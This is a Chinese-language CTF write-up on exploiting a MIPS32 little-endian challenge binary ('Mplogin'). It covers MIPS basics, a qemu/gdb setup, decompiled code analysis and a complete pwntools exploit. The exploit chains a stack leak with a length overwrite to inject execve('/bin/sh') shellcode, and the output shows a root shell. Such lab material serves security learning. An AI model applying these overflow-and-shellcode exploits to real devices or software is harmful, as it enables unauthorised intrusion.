异构 Pwn 之 Mips32
0x00 简介
平时接触的Pwn题目都是x86/x64,长久以来难免产生厌倦,今天就让来看看mips平台下是如何利用的。
0x01 Mips初探
1.1 Mips 简介
mips和x86一样属于一种cpu架构,mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。
1.2 Mips 小tips
1.mips汇编不同于x86汇编,属于精简指令集,常见于路由器等一些嵌入式设备中。
2.mips汇编没有对堆栈的直接操作,也就是没有push和pop指令,mips汇编中保留了32个通用寄存器,但是不同于x86汇编,mips汇编中没有ebp/rbp寄存器。
3.mips每条指令都用固定的长度,每条指令都是四个字节,所以内存数据的访问必须以32位严格对齐,这一点也不同于x86汇编。
1.3 Mips Pwn 需要的知识
1.3.1 寄存器
MIPS32寄存器分为两类:通用寄存器(GPR)和特殊寄存器。
| 编号 | 寄存器名称 | 描述 | :------ | :--------- | :----------------------------------------------------- | $0 | $zero | 第0号寄存器,其值始终为0。 | $1 | $at | 保留寄存器 | $2-$3 | $v0-$v1 | values,保存表达式或函数返回结果 | $4-$7 | $a0-$a3 | argument,作为函数的前四个参数 | $8-$15 | $t0-$t7 | temporaries,供汇编程序使用的临时寄存器 | $16-$23 | $s0-$s7 | saved values,子函数使用时需先保存原寄存器的值 | $24-$25 | $t8-$t9 | temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。 | $26-$27 | $k0-$k1 | 保留,中断处理函数使用 | $28 | $gp | global pointer,全局指针 | $29 | $sp | stack pointer,堆栈指针,指向堆栈的栈顶 | $30 | $fp | frame pointer,保存栈指针 | $31 | $ra | return address,返回地址 1.3.2 传参方式
用$a0~$a3传递函数的前4个参数,a为argument的缩写,多余的参数用栈传递。
1.3.3 函数返回值
一般用$v0~$v1寄存器传递。v也就是value的缩写。
1.3.4 跳转指令
j指令跳转到某个标签处,单纯的jmp。
jr指令用于跳转到寄存器里的地址值指向的地方。
jal 跳转时,会将返回地址存入$ra寄存器。
jalr 与jal指令类似,只不过后面的对象为寄存器,并执行下一条语句(一般为nop)。
$ra寄存器,ra为,return address的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra寄存器,然后jr $ra。
1.3.5 内存读取指令
sw register,addr指令,sw即store word的缩写(对应的有store byte),将register寄存器里的值写入到addr地址处,说了这么多其实就是出栈。
lw register,addr指令,lw即load word的缩写(对应的有load byte),读取addr处的数据,放入register寄存器。入栈。
1.3.6 寻址
la指令,相当于x86的lea。
lai指令,i的意思是immediate立即数,即后面的对象为立即数。
la $a0,1($s0)指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0。
0x02 小栗题
2.1 例行检查
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x400640
Start of program headers: 52 (bytes into file)
Start of section headers: 4248 (bytes into file)
Flags: 0x50001007, noreorder, pic, cpic, o32, mips32
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 26
Section header string table index: 25经过调查这个犯罪嫌疑题是mips32位小端序,动态链接,保护全关,我们后续可以使用qemu来运行。
2.2 Mips 运行环境
1.首先的话需要安装一个mips的交叉编译环境,安装完成以后就可以自己编译mips程序,可以使用qemu运行程序。
sudo apt install linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu大端sudo apt install gcc-mips-linux-gnu g++-mips-linux-gnu小端sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
安装qemuhttps://blog.csdn.net/weixin_38227420/article/details/884027382.程序是一个动态链接的mips小端序的32位可执行程序,所以我们使用qemu运行的时候需要注意一下。
qemu-mipsel -L ./ ./Mplogin
|>19:06:46<|(^ω^)$qemu-mipsel -L ./ ./Mplogin -----we1c0me t0 MP l0g1n s7stem-----Username : 3.我们还需要用gdb进行调试,所以需要gdb-multiarch,本地起一个。
qemu-mipsel -g 12345 -L ./ ./Mplogin
gdb-multiarchset architecture mips 设置架构set endian little 设置大小段symbol-file ./mplogin/Mplogin 导入调试文件的符号表target remote 127.0.0.1:12345 连接远程调试_副本-lzqc.png)
但是每次调试都得重新设置,有点麻烦,所以我们可以在目录中创建一个.gdbinit。
内容set architecture mipsset endian littlesymbol-file ./Mplogintarget remote 127.0.0.1:12345但是我发现他不好用,默认还是使用/root/.gdbinit下的配置文件,后来找到了问题所在。
_副本-lojl.png)
新版的gdb从安全角度进行了一些限制,默认./.gdbinit不会加载,如果需要禁止这个安全功能,可以修改~/.gdbinit,添加set auto-load safe-path /。如果只是想加载某个目录下的.gdbinit,可以在~/.gdbinit下添加add-auto-load-safe-path /home/linux/project/Demo/linux/gdb/.gdbinit。
当 GDB(即 GNU Project Debugger)启动时,它在当前用户的主目录中寻找一个名为 .gdbinit的文件;如果该文件存在,则 GDB 就执行该文件中的所有命令。直接使用gdb-multiarch 即可。
_副本-jusi.png)
把前期准备工作做完了,后面就可以开始我们的调试利用了。
2.3 题目分析
1.题目main函数主要有,我已经进行了rename,就是username和password首先进入username中查看。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // $a2
int v5; // [sp+18h] [+18h]
setbuf(stdin, 0, envp);
setbuf(stdout, 0, v3);
printf("\x1B[33m");
puts("-----we1c0me t0 MP l0g1n s7stem-----");
v5 = username();
password(v5);
printf("\x1B[32m");
return puts("Now you getshell~");
}2.跟进username看一下,这里read虽然没有溢出,但是没有在末尾添加\x00 在printf的时候会打印出一部分栈数据,填满以后返回值就是24。
int sub_400840()
{
char v1[24]; // [sp+18h] [+18h] BYREF
memset(v1, 0, sizeof(v1));
printf("\x1B[34m");
printf("Username : ");
read(0, v1, 24);
if ( strncmp(v1, "admin", 5) )
exit(0);
printf("Correct name : %s", v1);
return strlen(v1);
}3.第一个read出现了明显的栈溢出,v3是传进来的a1+4变成了28,在通过V3的值来控制第二的read的读入大小,然后造成栈溢出,从而控制程序执行流。
int __fastcall sub_400978(int a1)
{
char v2[20]; // [sp+18h] [+18h] BYREF
int v3; // [sp+2Ch] [+2Ch]
char v4[36]; // [sp+3Ch] [+3Ch] BYREF
v3 = userlen + 4; // 28
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, v2, 36); //v2 48
printf("Password : ");
read(0, v4, v3); //v3 34 v4 24
if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}4.第一次payload:"admin" + ‘a'*19 填满第一次read。
第二次payload: "access" + "a"*14 + p32(0x200) 填满第二次read并覆盖变量v3。
第三次payload:”0123456789“ + "a"*30 + 栈顶地址 + shellcode填满第三次read,将ra覆盖为栈顶地址并写入shellcode执行。
2.4 调试
1.$sp寄存器的值是0x7ffff0a8,buf的地址在$sp指向的栈顶加18字节处,0x7ffff0c0就是buf起始地址,我们向buf填充24个可见字符的时候就会泄漏0x76fffe0e后续把shellcode布置到这个地址就可以。
sa("Username :",'adminaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')_副本-cokt.png)
2.接收泄漏地址。
sa("Username :",'adminaaaaaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')leak = u32(r(4))log.success(hex(leak))3.按照我们上面的思路下一步需要覆盖一下v3,让栈溢出,可以看到两个相差14。
_副本-yavj.png)
buf大小只有20,我们可以输入36,也造成了缓冲区溢出,正好可以覆盖我们的length,我们可以调试一下看看,初始的时候length长度是多少。
int __fastcall password(int userlen)
{
char buf[20]; // [sp+18h] [+18h] BYREF
int length; // [sp+2Ch] [+2Ch]
char v4[36]; // [sp+3Ch] [+3Ch] BYREF
length = userlen + 4;
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, buf, 36);
printf("Password : ");
read(0, v4, length);
if ( strncmp(buf, "access", 6) || strncmp(v4, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}看到V0 寄存器length长度是0x23 也就是35 为什么是35呢?我们看一下payload。
sa("Username :",'adminaaaaaaaaaaaaaaaaaaa\x00') 这里是24个,还有下面泄漏的数据也要加上,这就是31个,password里面的length = userlen + 4;这段就是35个,而v4的大小是36不能造成溢出,就需要我们在read(0, buf, 36); 处修改length的大小造成溢出。
_副本-dslz.png)
_副本-dqur.png)
2.5 溢出来了?
先看一下length没有被覆盖在栈中的位置及大小。
_副本-yfkk.png)
我们把它覆盖掉再看,二伯了已经。这就造成了下面的一个read栈溢出。
payload = "access" + 14*'a' + p32(0x200)
s(payload)_副本-ovad.png)
2.6 getshell
首先既然造成了栈溢出,我们就需要测一下偏移,下一个断点在0x0400AE4处,然后填充。
_副本-ygvh.png)
pwndbg> cyclic -l aaia 30这样的话就可以构造payload了。
sa("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))程序的$ra寄存器已经返回到了0x76fff0e0,而这里面存放的是我们的shellcode,从而执行拿到shell。
_副本-gznw.png)
*V0 0xfab
V1 0x1
A0 0x76fff0d4 ◂— '//bin/sh'
A1 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
A2 0x76fff0cc ◂— 0
A3 0x0
T0 0x76ffef50 ◂— 0
T1 0x6873
T2 0x0
T3 0x0
T4 0x767e604c ◂— 0
T5 0x1
T6 0xfffffff
T7 0x400567 ◂— 'strlen'
T8 0x18
T9 0xfffffffb
S0 0x76806010 ◂— 0
S1 0x4005d8 (_init) ◂— lui $gp, 2 /* 0x3c1c0002 */
S2 0x0
S3 0x0
S4 0x0
S5 0x0
S6 0x0
S7 0x0
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
*PC 0x76fff150 ◂— syscall 0x40404 /* 0x101010c */
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
0x76fff13c add $a1, $sp, $a1
0x76fff140 sw $a1, -4($sp)
0x76fff144 addi $sp, $sp, -4
0x76fff148 add $a1, $sp, $zero
0x76fff14c ori $v0, $zero, 0xfab
► 0x76fff150 syscall 0x40404 <SYS_execve>
path: 0x76fff0d4 ◂— '//bin/sh'
argv: 0x76fff0c0 —▸ 0x76fff0c8 ◂— 0x6873 /* 'sh' */
envp: 0x76fff0cc ◂— 0x0
0x76fff154 movz $zero, $zero, $zero
0x76fff158 nop
0x76fff15c sll $v0, $zero, 0
0x76fff160 jalx 0x7a018040
0x76fff164 jalx 0x79f9c000
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ a1 sp 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
01:0004│ 0x76fff0c4 ◂— 0
02:0008│ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
03:000c│ a2 0x76fff0cc ◂— 0
04:0010│ 0x76fff0d0 ◂— 0
05:0014│ a0 0x76fff0d4 ◂— '//bin/sh'
06:0018│ 0x76fff0d8 ◂— 'n/sh'
07:001c│ 0x76fff0dc ◂— 0
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 0x76fff1502.7 EXP
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(arch='mips',endian='little',log_level='debug')
# context.log_level = 'debug'
shell = lambda : p.interactive()
s = lambda buf: p.send(buf)
ss = lambda buf: p.send(str(buf))
sl = lambda buf: p.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: p.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: p.sendlineafter(delim, buf)
r = lambda n: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim, drop=False: p.recvuntil(delim, drop)
rl = lambda: p.recvline()
e4 = lambda logg : log.success(logg)
def gdb_attach():
os.system('gnome-terminal -x sh -c "gdb-multiarch -ex \'b * 0x0400AE4 \'"')
if sys.argv[1] == 'p':
p = process(["qemu-mipsel","-L","./","./Mplogin"])
sleep(1)
else:
p = process(["qemu-mipsel","-g","12345","-L","./","./Mplogin"])
gdb_attach()
elf = ELF('./Mplogin')
libc = ELF('./lib/libc.so.0')
# shellcode = "\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
sa("Username :","adminaaaaaaaaaaaaaaaaaaa")
ru('aaaaaaaaaaaaaaaaaaa')
leak = u32(r(4))
e4(hex(leak))
# ru("Pre_Password : ")
# payload = "access"
payload = "access" + 14*'a' + p32(0x200)
s(payload)
sla("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))
shell()
[*] Switching to interactive mode
[DEBUG] Received 0x29 bytes:
'Password : Correct password : **********\n'
Password : Correct password : **********
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x27 bytes:
'uid=0(root) gid=0(root) groups=0(root)\n'
uid=0(root) gid=0(root) groups=0(root)免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。